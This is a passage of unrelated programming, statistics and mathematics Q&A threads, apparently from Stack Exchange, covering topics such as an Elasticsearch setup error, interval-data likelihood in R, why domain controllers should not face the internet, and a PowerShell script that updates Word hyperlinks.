                @Html.Action("_ArquivosProcDia")

Esse é o script

De qualquer forma, seu código não vai funcionar. Para funcionar, teria que ser algo assim:
$(".loopa").click(function () {
    var part = $(this).attr("data-id");
    var part2 = $(this).replaceWith(@Url.Action(part));
    $("#modal4").modal();
});

Answer: Tive que fazer assim pra funcionar, mas vou ter que repetir para cada modal.


How to create an Internet facing Domain Controller Without VPN

Question: I am extremely new to this.
I am trying to create a domain controller that could be contacted via Internet.
In clear words, I am trying to create a Windows Server 2012 R2 domain controller with public IP. I want my windows 8.1 PC to be able to Ping and get domain joined to that DC. I am looking for a scenario in which VPN gateway is not required. I am trying to achieve this for testing and educational purposes.(In my case My domain controller should be in Azure Environment, but I can make do without Azure too, since I am here to understand how things Actually work)
Since am extremely new to this, I am not sure how to do.
How many NICs will I need.
How to assign VM a Public IP.
How to make it accessible via Internet(If I try to Ping using cmd, it should give a reply).
Since I am a newbie, I am looking to work from scratch.
Any help will be greatly appreciated?
Comment: If you're trying to understand how things actually work, a VPN is a critical piece of that. MS has Direct Access, which is based on IPSec, and is a seamless VPN. You can set that up if you'd like.
Comment: You don't do this. You use a VPN. All of the software you need to use VPN is built into the OS. Why can you not use it?
Answer: Under no circumstances should a domain controller be facing the public internet. If you are doing this for educational purposes, then the education that you need is don't do this.
If you have Internet-only no-VPN machines that you want to manage, something like Azure AD join with enrollment into Intune for management is a far better option.
Comment: Yeah, I've read exactly that like 2 dozen times over the past 48 hours. But nobody every links to any actual documentation or can explain where the actual problem is. The internet is just another network. Why is it that the setup instantly becomes an issue just because it is "the internet". People say it's a security issue. How is it a security issue more so than with anything else that you put on the internet? You probably won't be able to explain it to me in this comment thread, but it would be nice to get an answer (other than "Don't") on the question posted here.
Comment: I can address a few items at least. First, look at [this list of ports and protocols in use](https://technet.microsoft.com/en-us/library/dd772723(v=ws.10).aspx). You'll notice some protocols that are not designed for usage of the Internet, such as SMB. Additionally, you would need to publish your *internal* DNS zones externally. In many organizations, this is considered a significant security issue as it exposes hostnames, IP addresses, internal SRV and other resource records. You'll need to do *significant* DNS hardening to publish AD DS DNS on the Internet. Not a good idea.
Comment: Kerberos relies on client/server time being in sync. So you have to publish Windows time services publicly as well. There's no good way to scope it to domain-joined clients, so now your domain controllers are basically open NTP servers as well. There are a ton of other reasons too, those are just some examples that fit into a 500 character comment box on Server Fault :)
Comment: I don't understand why this is such a common answer and is advocated so much, yet nobody seems to know *why* this shouldn't be done.
Comment: @OliverSalzburg Of course people know *why* it shouldn't be done. It's a service that was not designed to be exposed to the internet. It's very clear in Microsoft's documentation. The protocols and services that are used in Active Directory are not hardened for use across the public internet. It's as simple as that.


Fourier series /fourier transform proof

Question: I want to prove that for the function
$$
f(x) = \begin{cases}
  \frac{π}{4}  &  0 <x < π \\
  \frac{-π}{4}  &  -π < x < 0
\end{cases}
$$
the Fourier series is: $$f(x) = \sin x + \frac{\sin3x}{3} + \frac{\sin5x}{5} + \frac{\sin7x}{7}+\dots $$
[My Attempt]
$$f(x) = a_0\sum_{i=0}^∞ a_n\cos(nx) + b_n\sin(nx) $$
$$a_0 = \frac{1}{π}\int_{-\pi}^{+\pi}f(x)\cos(nx)  dx$$
$$b_n = \frac{1}{π}\int_{-\pi}^{+\pi}f(x)\sin(nx)  dx$$
but I don't know how to prove from here.
What should be the next step?
Comment: $f(x)$ is odd, hence all $a_n$'s are zero.
Comment: Compute the integrals.
Comment: break up the integrals according to the piecewise function $f(x)$
Answer: Note that $f(x)$ is odd, hence all $a_n$ terms vanish. Thus, the Fourier series admits the form:
$$f(x)=\sum_{n=1}^{\infty} b_n\sin(nx) \tag{1}$$
Since $f(x)$ is odd, it follows that $f(x)\sin(nx)$ is even, since the product of two odd functions is even. Hence, it follows that:
$$\begin{align}b_n&=\frac{1}{\pi}\int_{-\pi}^{\pi} f(x)\sin(nx)~dx\\&=\frac{2}{\pi}\int_0^{\pi} f(x)\sin(nx)~dx\\&=\frac{2}{\pi}\int_0^{\pi} \frac{\pi}{4}\cdot \sin(nx)~dx\\&=\frac{1}{2}\int_0^{\pi}\sin(nx)~dx \end{align}$$
I will leave the rest as an exercise. Once you have computed $b_n$ for all $n\in \mathbb{N}$, substitute your result into $(1)$, then you are done (Assuming you have computed the integral correctly).
Comment: The result is $$\frac{1}{n}$$. right?
Comment: This is only true if $n$ is an odd number. You should have:
$$b_n=\frac{\sin^2(n\pi/2)}{n}$$
And note that if $n$ is an even number, then $b_n=0$. Otherwise, if $n$ is odd, then $b_n=\frac{1}{n}$, as you have deduced.
Comment: Then, in this case we are thinking of even function, so is -1/n correct?
Comment: I'm unsure how you deduced that $-\frac{1}{n}$ should be correct. Have you tried computing the integral? The antiderivatives of $\sin(nx)$ are:
$$\int \sin(nx)~dx=-\frac{\cos(nx)}{n}+C$$ Now plug in the integration limits (use FTC), and use the identity $1-\cos(\alpha)=2\sin^2(\alpha/2)$. You should then obtain the $b_n$ I provided on my previous comment.
Comment: thank you so much! I got it

Fourier series /fourier transform proof


Missing node(s) option error while trying to implement elasticSearch in node.js

Question: I am getting the below error message while trying to implement Elasticsearch in node.js.
I have tried various solutions provided to similar problem but its still showing the same error message.
Similar problem (How can I fix error: ConfigurationError: Missing node(s) option for winston-elasticsearch?)
Additionally I am using the below npm package to implement elasticSearch:
https://www.npmjs.com/package/@elastic/elasticsearch
If someone can please help me resolve this issue.
Let me know if you require any further information from my end.
Please find below relevant codes.
router.js
const express = require('express');
const router = new express.Router();
const elastic = require('@elastic/elasticsearch');
const bodyParser = require('body-parser').json();
//const userSearch = require('../models/search');
const multer = require('multer');
var fs = require('fs');
 var path = require('path');
var JSONStream = require('JSONStream');
//const elastic = require('mongoose-elasticsearch-xp');
const UserSearch = require('../models/search');

let productos = [
 {
"sku": "1",
"name" : "Sillón 3 cuerpos",
"categories": ["sillon",
"sofa", "muebles", "living", "cuero"],
"description": "Hermoso sillón de cuero de 3 cuerpos"
 },

{
"sku": "2",
"name": "Sillón 2 cuerpos",
"categories": ["sillon",
"sofa", "muebles", "living", "ecocuero"],
"description": "Hermoso sillón de ecocuero de 2 cuerpos"
},
{
"sku": "3",
"name": "Mesa de comedor redonda de vidrio",
"categories": ["mesa", "comedor", "vidrio"],
"description": "Moderna mesa de 110 cm de radio"
}
];

const elasticClient = new elastic.Client({
    host : 'localhost:9200',
});

router.use((req, res, next)=>{
    elasticClient.index({
    index:'logs',
    body:{
    url: req.url,
    method: req.method,
    }
})
    .then(res=>{
    console. log ('Logs indexed')
    })
    .catch(err=>{
    console. log(err)
    });
    next();
});

router.get('/products', (reg, res)=>{
    let query = {
    index: 'products'
    }
    if (req.query.product) query.q = "*${req.query.product)*";
    elasticClient.search(query)
    .then (resp=>{
    return res.status (200). json({
    products: resp.hits.hits
    })
    .catch(err=>{
    console. log(err);
    return res.status (500). json({
    msg: 'Error',
    err
    });
});
    });
});
    module. exports = router;

Comment: did you solve the error ??
Answer: I think because of this line
const elasticClient = new elastic.Client({
    host : 'localhost:9200',
});

maybe your elastic client cannot access to this host
try with https://localhost:9200


How do I add a title attribute to the search submit button, exposed search, and reset buttons?

Question: I want to add the title attribute to the search submit button, the exposed filter search, and the reset button.
How can I achieve this?
Answer: I have found the answer of my question.
I have used the following code in my form_alter function.
<code>if ($form_id == 'search_block_form') {
   $form['actions']['submit']['#attributes']['title'] = t('Search');
  }
  if ($form_id == 'search_form') {
   $form['advanced']['submit']['#attributes']['title'] = t('Search');
  }
  if($form_id == 'views_exposed_form') {
    $form['submit']['#attributes']['title'] = t('Search');
   $form['reset']['#attributes']['title'] = t('Reset');
  }
  return $form;
</code>
It solved my problem.


EFA with "found" data

Question: The textbook procedure for EFA is to start by designing the data collection, then you run the EFA to locate (we hope) the latent variables, therein.
Does that mean it is not ever valid to conduct and EFA with "found" data, such as a public data source?
If it is valid, does it mean I should insert a pre-EFA step of filtering the data according to a theoretical model or should I "take it as it is" and let the chips fall where they may?
In this particular case, I do have a theoretical model, and it is likely that, regardless of the strengths of correlations, some of the variables would have no connection by theory to the model.
Comment: I will ignore the ranting aspect of your comment and focus on the main issues: (1) What, exactly, then do you mean by "EFA"? (2) Exploratory methods in data analysis are disciplined and theoretically grounded -- but they have different objectives than, say, null hypothesis testing.  I recommend you research the subject before trying to criticize it again.  Tukey's book *EDA* is a good start (because, despite--or because of--its age, it contains much that has since been forgotten and ignored in software implementations).
Comment: Doesn't the "E" in "EFA" stand for "exploratory"?  That alone ought to answer the question.
Comment: No, it doesn't--unless "exploratory" means "any old random crap". Are you saying that there is and MUST NOT BE any limit, whatsoever, upon what gets thrown into an "exploratory" model--that is MUST never, under any circumstances, be informed by theory, at all, no exceptions?
Answer: Exploratory Factor Analysis (EFA) is often used with "found" data, and there is no mathematical, theoretical, or statistical reason why it couldn't be.
The logit of EFA is simply that responses to a set of observed variables are actually due to some smaller number of "latent" variable (plus item specific error). So if you saw that someone else did a survey of people in an organization and asked a ton of questions about how people felt about their boss, you could theorize that responses to lots of those questions are heavily determined by a latent variable: "thinking your boss is good," and you could use EFA to see if that's the case, even if the person who designed that survey had never heard of factor analysis. EFA might find that all of the items load on a single factor, or that each question is basically it's own construct and that there is no underlying latent factor at all. That's the beauty of EFA: it doesn't make any assumptions about what you will find.
This is contrast to CONFIRMATORY factor analysis (CFA). CFA has the same basic assumption as EFA (observed responses are due to some number of latent factors plus item specific error) but in CFA  you already assume that you know exactly how many latent factors there are, and just want to see how strongly each relate to the specific items in that particular dataset.  You therefore probably wouldn't want to use CFA on a set of items that were not designed to measure a specific set of latent factors.

EFA with "found" data


MLE/Likelihood of lognormally distributed interval

Question: I have a variable set of responses that are expressed as an interval such as the sample below.
> head(left)
[1]  860  516  430 1118  860  602
> head(right)
[1]  946  602  516 1204  946  688

where left is the lower bound and right is the upper bound of the response. I want to estimate the parameters according to the lognormal distribution.
For a while when I was trying to calculate the likelihoods directly I was struggling with the fact that since the two bounds are distributed along different set of paramaters, I was getting some negative values like below:
> Pr_high=plnorm(wta_high,meanlog_high,sdlog_high)
> Pr_low=plnorm(wta_low, meanlog_low,sdlog_low)
> Pr=Pr_high-Pr_low
>
> head(Pr)
[1] -0.0079951419  0.0001207749  0.0008002343 -0.0009705125 -0.0079951419 -0.0022395514

I couldn't really figure out how to resolve it and decided to use the mid-point of the interval instead which is a good compromise until I found mledist function which extracts the loglikelihood of an interval response, this is the summary I get:
> mledist(int, distr="lnorm")
$estimate
meanlog     sdlog
6.9092257 0.3120138

$convergence
[1] 0

$loglik
[1] -152.1236

$hessian
         meanlog       sdlog
meanlog 570.760358    7.183723
sdlog     7.183723 1112.098031

$optim.function
[1] "optim"

$fix.arg
NULL

Warning messages:
1: In plnorm(q = c(946L, 602L, 516L, 1204L, 946L, 688L, 1376L, 1376L,  :
NaNs produced
2: In plnorm(q = c(860L, 516L, 430L, 1118L, 860L, 602L, 1290L, 1290L,  :
NaNs produced

The parameter values seem to make sense and the loglikelihood is greater than any other method I have used (mid-point distribution or distribution of either one of the bounds).
There is a warning message which I don't understand so could anyone tell me if I am doing the right thing and what this message means?
Appreciate the help!
Comment: Your question amounts to "How do I use a particular R function and what does this Warning message mean?". That's a question for StackOverflow rather than CrossValidated. Further, when you refer to a function from a package, *you should mention what package it's from*. In this case I presume you mean the function from the package `fitdistrplus`.
Comment: Welcome to the site, @ElioDruml. I can't tell if your main question is about how to estimate these parameters, or what the meaning of the warning message is. The former would be a good question for CV, but the latter is really a question for [Stack Overflow](http://stackoverflow.com/) (see our [FAQ](http://stats.stackexchange.com/faq)). Can you clarify what your primary question is? Would you prefer your Q stay here, or be migrated to SO? (If the latter, flag your Q & we'll migrate it for you, *please don't cross-post, though*.)
Answer: It sounds like you might not be computing the likelihood correctly.
When all you know about a value $x$ is that

It is obtained independently from a distribution $F_\theta$ and
It lies between $a$ and $b \gt a$ inclusive (where $b$ and $a$ are independent of $x$),

then (by definition) its likelihood is $${\Pr}_{F_\theta}(a \le x \le b) = F_\theta(b) - F_\theta(a).$$  The likelihood of a set of independent observations therefore is the product of such expressions, one per observation.  The log-likelihood, as usual, will be the sum of logarithms of those expressions.

As an example, here is an R implementation where the values of $a$ are in the vector left, the values of $b$ in the vector right, and $F_\theta$ is Lognormal.  (This is not a general-purpose solution; in particular, it assumes that $b \gt a$ and $b \ne a$ for all the data.)
#
# Lognormal log-likelihood for interval data.
#
lambda <- function(mu, sigma, left, right) {
  sum(log(pnorm(log(right), mu, sigma) - pnorm(log(left), mu, sigma)))
}

To find the maximum log likelihood we need a reasonable set of starting values for the log mean $\mu$ and log standard deviation $\sigma$.  This estimate replaces each interval by the geometric mean of its endpoints:
#
# Create an initial estimate of lognormal parameters for interval data.
#
lambda.init <- function(left, right) {
  mid <- log(left * right)/2
  c(mean(mid), sd(mid))
}

Let's generate some random lognormally distributed data and bin them into intervals:
set.seed(17)
n <- 12                     # Number of data
z <- exp(rnorm(n, 6, .5))   # Mean = 6, SD = 0.5
left <- 100 * floor(z/100)  # Bin into multiples of 100
right <- left + 100

The fitting can be performed by a general-purpose multivariate optimizer.  (This one is a minimizer by default, so it must be applied to the negative of the log-likelihood.)
fit <- optim(lambda.init(left,right),
             fn=function(theta) -lambda(theta[1], theta[2], left, right))
fit$par

6.1188785 0.3957045

The estimate of $\mu$ is $6.12$, not far from the intended value of $6$, and the estimate of $\sigma$ is $0.40$, not far from the intended value of $0.5$: not bad for just $12$ values.  To see how good the fit is, let's plot the empirical cumulative distribution function and the fitted distribution function.  To construct the ECDF, I just interpolate linearly through each interval:
#
# ECDF of the data.
#
F <- function(x) (1 + mean((abs(x - left) - abs(x - right)) / (right - left)))/2

y <- sapply(x <- seq(min(left) * 0.8, max(right) / 0.8, 1), F)
plot(x, y, type="l", lwd=2, lty=2, ylab="Cumulative probability")
curve(pnorm(log(x), fit$par[1], fit$par[2]), from=min(x), to=max(x), col="Red", lwd=2,
  add=TRUE)

Because the vertical deviations are consistently small and vary both up and down, it looks like a good fit.
Comment: Thanks a lot for your input @whuber. I did recreate your example and it all makes sense. However, I wasn't able to recreate on my own data of n=56 of which the head is left <- c(860, 516, 430, 1118, 860, 602) and right <- c(946, 602, 516, 1204, 946, 688). I get this warning message: "1: In pnorm(log(right), mu, sigma) : NaNs produced 2: In pnorm(log(left), mu, sigma) : NaNs produced" when fitting with the optimizer to extract the mle estimates. That brings me back to my earlier problem of having negative probabilities when calc. the likelihoods step by step and substracting.
Comment: These are the same warning messages given by the mledist function from the fitdistrplus package. However, as you can see above it does give me an output for the mle estimates that look relatively good. Should I trust it and/or what is the issue here? Thanks for the feedback.
Comment: Why don't you post your data, Elio, so we can diagnose the problem?  Even so, I'm not sure these are critical errors.  You might be experiencing the same troubles [reported by another user](http://mathematica.stackexchange.com/questions/22359/nminimize-usage) when numerically minimizing a function in *Mathematica*; the same explanation might apply in your case.


Trying to check if string exists in a line in a text file, but it's not working

Question: As the title says, I'm trying to check if a string exists in txt file and printing the line. I know there's been quite a few posts on here and online, but I tried following them and nothing works. Could someone take a look at my code and see what's wrong or missing?
The code:
x='potato'
file=r"C:\Users\transactions.txt"

def searchpotato():
    with open(file,'r') as read_obj:
        for line in read_obj:
            if x in line:
               print(line)

The ideal results would be that all lines with the word 'potato' in the .txt file will be printed out. (potato is good, potato is better than tomato, etc.) Thanks.
Comment: are you caling the function `searchpotato()` at the end?
Comment: Oops, edited. Both of them should be the same. Thanks
Comment: what is the error?
Comment: There isn't any error, but nothing is printed out although the txt file does contain lines with 'potato' in it.
Answer: I've altered your function slightly, but kept the essence of it. Try line.lower() instead. As mentioned, 'potato' and 'Potato' are different, but .lower() makes all letters in line lowercase.
x = 'potato'
file = r"C:\Users\transactions.txt"

def search_x(file, x):
    with open(file,'r') as read_obj:
        for line in read_obj.readlines():
            if x in line.lower():
                print(line)

Answer: I ran the following code on my machine and it worked
x='potato'
file=r"/var/folders/ql/tt4_4thj5fdd9xrxlpmklsrwygb8j8/T/tmp.wPLDfNsi/something.txt"

def searchpotato():
    with open(file,'r') as read_obj:
        for line in read_obj:
            if x in line.lower():
               print(line)

searchpotato()

The only thing I can think of is - you declared the function but didn't call it at the end.
Also - as Arild stated - using .lower() on the line is a good idea if you dont want your search case sensetive.


qureySelector not finding className

Question: My code for class keeps giving me
   SCRIPT.JS:24 Uncaught TypeError: Cannot set properties of null (setting 'className')
at SCRIPT.JS:24:47

Here is my Java Script so far

//Seting some variables to make coding easier
let userGreet = document.querySelector("#userGreet");
let userData = document.querySelector("#userData");

let userName = prompt("What is your name?");

alert("Hello "+userName+", Lets Calculate your purchase");

//Here we prompt the user for the price of there 2 items
let item1 = parseFloat(prompt("How Much it your first Item?"));
let item2 = parseFloat(prompt("How much is your second item?"));

//Now we add those items together to get the total
let total = item1 + item2;

//Now we will use if & elseif statements to see if the user gets a discount on their purchase
if (_total => 100){
    let afterDiscount = total * .10;
    document.querySelector("body").className =  "discount";
    userGreet.innerHTML = "Hello " + userName + ", Here is your Total.";
    userData.innerHTML = "Your purchase total is $" + afterDiscount + ", which includes your 10% discount.";

} else if (_total => 50){
    let afterDiscount = total * .05;
    document.querySelector("body").className =  "discount";
    userGreet.innerHTML = "Hello " + userName + ", Here is your Total.";
    userData.innerHTML = "Your purchase total is $" + afterDiscount + ", which includes your 5% discount.";

} else if (total < 50){

    document.querySelector("body").className =  "nonDiscount";
    userGreet.innerHTML = "Hello " + userName + ", Here is your Total.";
    userData.innerHTML = "Your purchase total is $" + total;
}

Here is my HTML so far
<!DOCTYPE html>

    <title>CE05 QuertSelector</title>

<link rel="stylesheet" href="CSS/STYLE.CSS">

QuerySelector

Hello User

let play with QuerySelector

and finaly here is my CSS
body {
    background-color: rgb(255, 255, 255);
  }

h1 {
    color: rgb(1, 1, 1);

  }

h3{
    Color: rgb(0, 0, 0);
  }

p {
    font-family: verdana;
    font-size: 20px;
  }

.discount{
  background-color: rgb(25, 225, 25) ;
}

.nonDiscount{
  background-color: rgb(216, 239, 12);
}

I feel like I'm missing something obvious, help with this would be apreciated.
The code should change the background collor depending on the total cost of the 2 items, then change the h3 and p1 text to tell the user their total.
Comment: Place `` before the closing `` tag.
Comment: Thank you I figured it was something obvious, and I now understand why it worked this way.
Comment: Hey @Grimreaper1214! I recommend accepting the answer below as well which also indicated this with a complete actual answer/explanation.
Answer: Your script tag is running before the elements are created. You can fix this by moving it to the end of the body.
<!DOCTYPE html>

    <title>CE05 QuertSelector</title>

<link rel="stylesheet" href="CSS/STYLE.CSS">

QuerySelector

Hello User

let play with QuerySelector

Comment: Does using ```defer``` also help ?

qureySelector not finding className


Validate children before creating parent

Question: How can I create a parent model only if its children models fit some validations alltogether like the sum of their attributes equal come value, etc?
I have an parent model as:
class Foo < ApplicationRecord

  has_many :bars, dependent: :destroy

  accepts_nested_attributes_for :bars, allow_destroy: true

end

And the child model as:
class Bar < ApplicationRecord

  belongs_to :foo

end

Is there a right way of doing it? Where should I validate the children models? Also how could I test it with rspec? Like this?
before do
  @foo = create(:foo)
  @bar = create(:bar, value: 30, foo_id: @foo.id)
end

Answer: Rails offers validates_associated, which will ensure the associated records are valid. If the associated records are invalid, the parent record will not be saved.
In Foo:
class Foo < ApplicationRecord
  has_many :bars, dependent: :destroy
  accepts_nested_attributes_for :bars, allow_destroy: true

  validates_associated :bars
end

In Bar:
class Bar < ApplicationRecord
  belongs_to :foo

  include ActiveModel::Validations
  validates_with BarValidator
end

In BarValidator, which is a custom validator:
class BarValidator < ActiveModel::Validator
  def validate(record)
    record.errors.add :some_error, 'Some message' unless condition_met?
  end
end

You've stated:

only if its children models fit some validations alltogether like the sum of their attributes equal come value, etc?

which is somewhat ambiguous. If you truly do need to calculate the sum of children then you can add a validator to the parent which maps through the children and appends an error on failure to meet conditional:
In Foo, (or preferably, a validator):
validate :children_condition

def children_condition
  errors[:base] << "Some message" if bars.map(&:attribute).sum != expected_minimum_value
end

Important notes from the documentation on validates_associated:

WARNING: This validation must not be used on both ends of an association. Doing so will lead to a circular dependency and cause infinite recursion.

NOTE: This validation will not fail if the association hasn't been assigned. If you want to ensure that the association is both present and guaranteed to be valid, you also need to use validates_presence_of.

As for:

Also how could I test it with rspec?

I would create a test suite of valid parent, valid child && valid parent, invalid child, etc and expect the Model.count to have increased by the expected amount (which would be zero in the latter example).
Comment: When testing validations you don't really need to create records. You can just call `#valid?` on the model and then set expectations [on the errors object](https://api.rubyonrails.org/v220.127.116.11/classes/ActiveModel/Errors.html).You can test actually creating the records indirectly through a feature or request spec.


Can groups act on classes that aren't sets?

Question: I do hope it's appropriate to post all the random questions I have here... Specifically I'm thinking about applying group theory to some "universal set".
Answer: Sure! But technically such a thing should be called something different to distinguish it from the set case; I'd personally use "group class-action" for a set-sized group acting on a class, and "class group action" for a class-sized group acting on a class.
One simple (if not very interesting) example of a group class-action is the group $\mathbb{Z}/2\mathbb{Z}$ acting on $ON$, the class of ordinals, by having the nontrivial element permute each "odd" ordinal $2\alpha+1$ with its predecessor $2\alpha$ (so e.g. $\omega$ would be sent to $\omega+1$, and vice versa, by the action of the nontrivial element).
An interesting example of a class group-action would be the class group of all permutations of $ON$ with set-sized support acting on $ON$ in the natural way. (We need set-sized support to view this group as a class - otherwise, each element of the group is a class function, and the group itself is some kind of "hyperclass"!)

And in fact they're useful in abstract algebra: class actions can represent very complex groups! Sorry, I couldn't resist.
Comment: @AndreasCaranti I heard a story about a number theorist who had business cards made that said "Representing groups in all fields".
Comment: For example: https://www.iclg.co.uk/practice-areas/class-and-group-actions/class-and-group-actions-2017
Comment: @Noah So could, say **G**(ξ,★) (where ξ is the Class of all sets (or perhaps even all mathematical objects)), exist?
Comment: @Sup I don't know what $G(\xi, \star)$ means, but: probably! Incidentally, the class of all sets is more commonly denoted by ["$V$"](https://en.wikipedia.org/wiki/Von_Neumann_universe).
Comment: @Noah is that Conway's On/No you're referring to?  I really need to get back into ONAG :p and I'm just using G to denote the group, and ★ some arbitrary operation on ξ (or I guess V)
Comment: @Sup No, I'm using "$ON$" to denote the class of ordinals: "acting on $ON$, the class of ordinals." Sometimes "$Ord$" is used instead. And yes, the object $G(V, \star)$ exists, but it is a *class* (namely, the class of ordered triples $(g, x, y)$ with $g\in G$ and $x, y$ sets, where each such triple is understood as meaning "$g(x)=y$").
Comment: @Noah "No" - I see what you did there.  Thankyou for your help! Is it feasible to find ★..?
Comment: @Sup I don't know what you mean - there are many possible class actions of a group on a class. So there's no unique $\star$. (Oh, small abuse of notation in my previous comment: by "$g(x)=y$" I meant "$g\star x=y$".)
Comment: E.g. is there an operation that can act meaningfully on any mathematical object?  Something I can do to a number, or a set, or a shape, or a whatever...  I may just be too ill-experienced to tackle such questions at this stage :L
Comment: @Sup Yes, *like I said, there are many such actions*. For instance, the trivial action, or the action of $\mathbb{Z}/2\mathbb{Z}$ where the nontrivial element swaps $\{\}$ and $\{\{\}\}$ and leaves all other sets fixed, or many others. There is not a unique action of any (nontrivial) group on $V$. (cont'd)
Comment: Note, however, that I don't think you've asked quite what you mean: I think what you're asking for is a group which acts on each set (possibly of a certain type), rather than a group which acts *on the class of sets itself). E.g. I think you want a group which acts on every topological space, not a group that permutes topological spaces. In this case, you have to do a lot of work to formalize what you mean, but essentially however you do it, your action will be the trivial action on "most" spaces.
Comment: +1 + (+1) for the final joke.


get EditText value from Fragment through onClick

Question: I have created an acticity with multiple fragments. When inside a fragment a button (image) is clicked, the fragment is replaced with a new fragment. This works fine.
One of these images/buttons is the 'Add' button opening the addition page. In this fragment there are several EditTexts and a button 'Insert'.
When pressing the 'Insert'-button the Edittext values must be retrieved. This is where it goes wrong.
This is my code (I excluded what does not seem to be necessary):
MainActicity.java:
public class MainActivity extends AppCompatActivity {
    FragmentTransaction fragmentTransaction;
    EditText etDistancesInsertDays;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        etDistancesInsertDays = (EditText)findViewById(R.id.etDistancesInsertDays);

        // On create display home page (HomeFragment)
        Fragment frRecords = new RecordsFragment();
        fragmentTransaction = getSupportFragmentManager().beginTransaction();
        fragmentTransaction.add(R.id.main_container, frRecords);
        fragmentTransaction.commit();

    }

    public void openDistancesInsert(){
        fragmentTransaction = getSupportFragmentManager().beginTransaction();
        fragmentTransaction.replace(R.id.main_container, new DistanceInsertFragment());
        fragmentTransaction.commit();
        getSupportActionBar().setTitle(getString(R.string.frTitleDistanceInsert));
    }

    public void switchFragment(View view){
        switch (view.getId()) {
            case R.id.btnInsertDistance:

                // Trial 1
                EditText etText = (EditText)findViewById(R.id.etDistancesInsertDays);
                String strDays = etDistancesInsertDays.getText().toString();
                // Caused by: java.lang.NullPointerException
                Toast.makeText(MainActivity.this, "Days: "+strDays, Toast.LENGTH_LONG).show();

                // Trial 2
                Fragment frInsert;
                frInsert = getSupportFragmentManager().findFragmentById(R.id.frDistanceInsert);
                View frViewInsert;
                frViewInsert = frInsert.getView();
                // Caused by: java.lang.NullPointerException
                EditText etText = (EditText)frViewInsert.findViewById(R.id.etDistancesInsertDays);
                String strDays = etDistancesInsertDays.getText().toString();
                Toast.makeText(MainActivity.this, "Days: "+strDays, Toast.LENGTH_LONG).show();

                break;
        }
    }

}

And my DistanceInsertFragment.java
public class DistanceInsertFragment extends Fragment {
    EditText etDistancesInsertDays, etDistancesInsertMonths, etDistancesInsertYears;

    public DistanceInsertFragment() {
        // Required empty public constructor
    }

    @Override
    public View onCreateView(LayoutInflater inflater, ViewGroup container,
                             Bundle savedInstanceState) {

        View frViewInsert = inflater.inflate(R.layout.fragment_distance_insert, container, false);

        // Set current dat in text field:
        Calendar c = Calendar.getInstance();
        String strDayOfMonth = Integer.toString(c.get(Calendar.DAY_OF_MONTH));
        String strMonthOfYear = Integer.toString(c.get(Calendar.MONTH)+1);
        String strYear = Integer.toString(c.get(Calendar.YEAR));
        etDistancesInsertDays = (EditText)frViewInsert.findViewById(R.id.etDistancesInsertDays);
        etDistancesInsertMonths = (EditText)frViewInsert.findViewById(R.id.etDistancesInsertMonths);
        etDistancesInsertYears = (EditText)frViewInsert.findViewById(R.id.etDistancesInsertYears);
        etDistancesInsertDays.setText(strDayOfMonth);
        etDistancesInsertMonths.setText(strMonthOfYear);
        etDistancesInsertYears.setText(strYear);

        return frViewInsert;
    }
}

Both trial 1 and 2 gave the error "Caused by: java.lang.NullPointerException". Though I'm not sure wat is meant with it..
Comment: where is your button in activity_main layout or fragment_distance_insert layout? As i do not see any onclicklisterner defined.
Comment: i see you have a onClick method inside your Activity , does the button suppose to be inside one Fragment and the EditText inside another Fragment?
Comment: The onClick is indeed inside the Activity. The Button and EditText are inside the same Fragment. My mistake was already found by Aaron, I assigned the strDays wrong.
Answer: Should the code not be:
EditText etText = (EditText)findViewById(R.id.etDistancesInsertDays);
String strDays = etText.getText().toString();

Here you are getting text from the EditText, in your code you are trying to retrieve from the id etDistancesInsertDays
Comment: My god. I failed here big time. Thanks for spotting this! Should I delete this question, since it's just a reading error.
Comment: No problem happy coding :)


Visual Studios 2005 - Clear custom properties in designer/property window

Question: Morning all,
I've created a custom control with an image property. That image property is a get/set to a private Image variable.
Can anyone tell me how I enable that get/set to clear the property from the designer?
I.e. if I add an image to a standard PictureBox, I can hit Del to clear the image from the PictureBox. How can I replicate this behaviour on my own custom control?
Comment: There is no morning on "World-wide" web, neither is there afernoon, evening or night.
Answer: At the simplest level, DefaultValueAttribute should do the job:
private Bitmap bmp;
[DefaultValue(null)]
public Bitmap Bar {
    get { return bmp; }
    set { bmp = value; }
}

For more complex scenarios, you might want to try adding a Reset method; for example:
using System;
using System.Drawing;
using System.Windows.Forms;
class Foo {
    private Bitmap bmp;
    public Bitmap Bar {
        get { return bmp; }
        set { bmp = value; }
    }
    private void ResetBar() { bmp = null; }
    private bool ShouldSerializeBar() { return bmp != null; }
}
static class Program {
    [STAThread]
    static void Main() {
        Application.EnableVisualStyles();
        Form form = new Form();
        PropertyGrid grid = new PropertyGrid();
        grid.Dock = DockStyle.Fill;
        grid.SelectedObject = new Foo();
        form.Controls.Add(grid);
        Application.Run(form);
    }
}


Powershell script that finds and changes hyperlinks in word saves doc and creates a new copy as PDF

Question: I am trying to figure out how to write a script that goes through a folder and grabs all word documents in the folder to search for a hyperlink and change the link to another link. Then to save that word document as well as create another version of it converting it to a pdf.
How can I adjust the script below to grab all word documents in a folder then search all hyperlinks for "https://www.yahoo.com" to "https://www.google.com". Some how looping through the entire document searching through ALL hyperlinks. Saving that document and then converting and giving a new pdf.
Is this possible?
What I have so far
    $word = New-Object -ComObject word.application
        $document = $word.documents.open("path to folder")
        $hyperlinks = @($document.Hyperlinks)
        $hyperlinks | ForEach {
            $newURI = ([uri]$_.address).AbsoluteUri
            Write-Verbose ("Updating {0} to {1}" -f $_.Address,$newURI) -Verbose
            $_.address = $newURI
        }
        If (_$.address -eq "https://www.yahoo.com/") {
            $_.Address = "https://www.google.com/"
        } ElseIf ($_.Address -eq "http://def.com/motorists") {
            $_.Address = "http://hij.com/"
        }
        $document.save()
        $word.quit()

    Get-ChildItem -Path $document -Include *.doc, *.docx -Recurse |
        ForEach-Object {
            $doc = $word.Documents.Open($_.Fullname)
            $pdf = $_.FullName -replace $_.Extension, '.pdf'
            $doc.ExportAsFixedFormat($pdf,17)
            $doc.Close()
        }
    $word.Quit()

I am new to powershell will someone please help walk me through these steps. I hear powershell is probably the best and strongest language to get this sort of thing accomplished.
Answer: Hadn't done this before, so it was nice to figure it out. We both get to learn today! You were very close. Just needed a few adjustments and a loop for handling multiple files. I'm sure someone more knowledgeable will drop in but this should get you the desired result.
$NewDomain1 = "google"
$NewDomain2 = "hij"
$OurDocuments = Get-ChildItem -Path "C:\Apps\testing" -Filter "*.doc*" -Recurse

$Word = New-Object -ComObject word.application
$Word.Visible = $false

